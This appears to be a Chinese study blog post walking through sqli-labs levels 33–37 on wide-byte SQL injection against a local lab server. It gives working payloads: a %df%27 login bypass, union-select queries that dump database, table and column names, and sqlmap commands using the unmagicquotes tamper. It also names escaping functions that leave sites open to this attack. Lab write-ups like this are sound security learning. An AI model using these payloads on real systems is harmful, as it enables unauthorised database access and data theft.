SQL Injection7(宽字节注入2)
SQL Injection7(宽字节注入2)
前言
前面结合sqli的32关卡初步理解了宽字节注入方法与原理
这里再结合sqli剩下的宽字节注入关卡(33,34,35,36,37)进行一个巩固和学习
练习
Less-33
这个我试了下,结果发现和Less-32完全一样啊,按照Less-32方法来完全可行
这里可以看我的上一篇博客,注入方法完全一样
我查了下两关的区别,主要在于转义这一块,32用的是自己定义的函数进行的转义主要在\ , ', ",前面加上\符号转义,33用的是自带的addslashes()函数多了一个队NULL空字符的转义
sqlmap也是用前面的方法就能成功注入
Less-34
本关是一个用户名密码登录的界面,然后是post传参
可以看到提示我们在用户名和密码后面加上’后被转义成了\’。
后面再用hackbar来提交就有点问题,主要%df它传过去不是%df,变成%C3%9F,我也很迷怎么会变成这个别的都没变,所以这里用burp直接抓包改
这里用到sql万能密码,也就是对方查询数据库用的是select * from tablename where username = ‘’ and password = ‘’ 这样的查询语句,所以username我们写成1‘ or 1=1#这样的语句,查询条件就变成永真(不同情况要单独考虑)。
如上图修改后,我们就得到下图的返回
可以看到已经显示登录成功了,而且返回了用户名和密码,这就给了下一步注入的空间
首先还是来确定字段%df%27 or 1=1 order by 3 %23
发现3失败,再来试下2
可以看到成功了
uname=%df%27 union select database(),version() %23&passwd=1&submit=Submit
这里来看数据库和版本
后面的操作和32,33就同理了
爆表名
uname=%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&passwd=1&submit=Submit
爆字段名
uname=%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273%23&passwd=1&submit=Submit
剩下就是爆具体数据了…
sqlmap测试
用脚本很轻松的实现了注入
sqlmap -u “http://192.168.2.123:8507/Less-34/” --tamper “unmagicquotes.py” --data “uname=1&passwd=1&submit=Submit”
下面不带脚本也成功注出来了
sqlmap -u “http://192.168.2.123:8507/Less-34/” --level 3 --data “uname=%df&passwd=1&submit=Submit”
查看源码可以看到它的查询语句
SEIECT username,password FROM users WHERE username=‘passwd’ LIMIT 0,1
与我们猜想的基本一致
Less35
这个放这里很有意思啊,自己也卡主了…后面去看了下别人的博客猜恍然大悟
首先sql注入我们应该区分的是字符型注入还是数字型注入,这道题的确开启了转义,但是人家是道数字型注入的题…根本不需要单引号…直接联合注入就OK
咋看这道题放这里很诡异,因为不需要宽字节注入,但仔细一想却觉得很有道理,给了我们很好的提醒,注入首先是要判断类型(字符还是数字)
sqlmap
sqlmap -u "http://192.168.2.123:8507/Less-35/?id=1"这么简单的一句话就能成功注出来
连level等级都不需要调
Less36
和32,33操作完全一样(亲测)
这里主要使用的过滤函数改为了mysql_real_eacape_string()
这个函数会比addslashes多过滤些东西
\0xx \n \r \ ’ " \x1a 以上都会被过滤在前面加上\
Less37
这里就和34完全一样了,
这里也是用的mysql_real_eacape_string()函数来过滤了
36,37 sqlmap也是和前面同样的操作可行
总结
-
引起宽字节注入的函数:
自定义的转义函数,mysql_real_eacape_string(),addslashes(),mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性
-
正确的注入顺序
35题告诉我们正确的注入顺序应该是先找注入点看是否存在注入
再判断注入类型,字符型还是数据=值型
最后再结合不同的防护策略使用不同的注入方法
-
加强工具的学习和练习吧,这里算是第一次用sqlmap调用脚本,后面要加强对脚本的理解,然后自己来编写下脚本吧,毕竟提供的脚本有限,一些特殊环境还是需要自己来写脚本的